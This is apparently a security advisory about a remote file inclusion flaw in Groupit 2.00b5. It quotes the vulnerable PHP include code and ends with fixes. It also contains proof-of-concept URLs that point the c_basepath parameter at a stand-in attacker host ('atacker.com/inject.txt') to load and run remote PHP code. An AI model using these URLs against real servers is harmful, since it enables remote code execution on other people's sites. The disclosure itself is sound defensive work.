Affected software description:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Application : Groupit
|
|
version : 2.00b5
|
|
URL : http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar.gz

Vulnerability:
|
|
~~~~~~~~~~
|
|
|
|
- Invalid include function at html/content.php
|
|
-----------------------html/content.php------------
|
|
|
|
<?
|
|
...
|
|
include "$c_basepath/base/groupit.start.inc";
|
|
|
|
if (!empty($c_is_search))
|
|
{
|
|
include "$c_basepath/modules/search/main.inc";
|
|
} else
|
|
{
|
|
if ($c_is_section)
|
|
{
|
|
include "$c_basepath/modules/content/section.inc";
|
|
} else
|
|
.........
|
|
|
|
include "$c_basepath/base/groupit.stop.inc";
|
|
?>
|
|
----------------------------------------------------------
|
|
|
|
Input passed to the "$c_basepath" parameter in load.inc.php is not
|
|
properly verified before being used. This can be exploited to execute
|
|
arbitrary PHP code by including files from local or external
|
|
resources.
|
|
|
|
also affected files :
|
|
|
|
html/userprofile.php
|
|
html/password.php
|
|
html/dispatch.php
|
|
html/deliver.php
|
|
|
|
and More ....
|
|
|
|
|
|
|
|
Proof Of Concept:
|
|
~~~~~~~~~~~
|
|
|
|
http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/inject.txt?
|
|
http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker.com/inject.txt?
|
|
http://localhost/groupit/html/password.php?c_basepath=http://atacker.com/inject.txt?
|
|
|
|
Solution:
|
|
~~~
|
|
|
|
- Sanitize variable $c_basepath affected files.
|
|
- Turn off register_globals
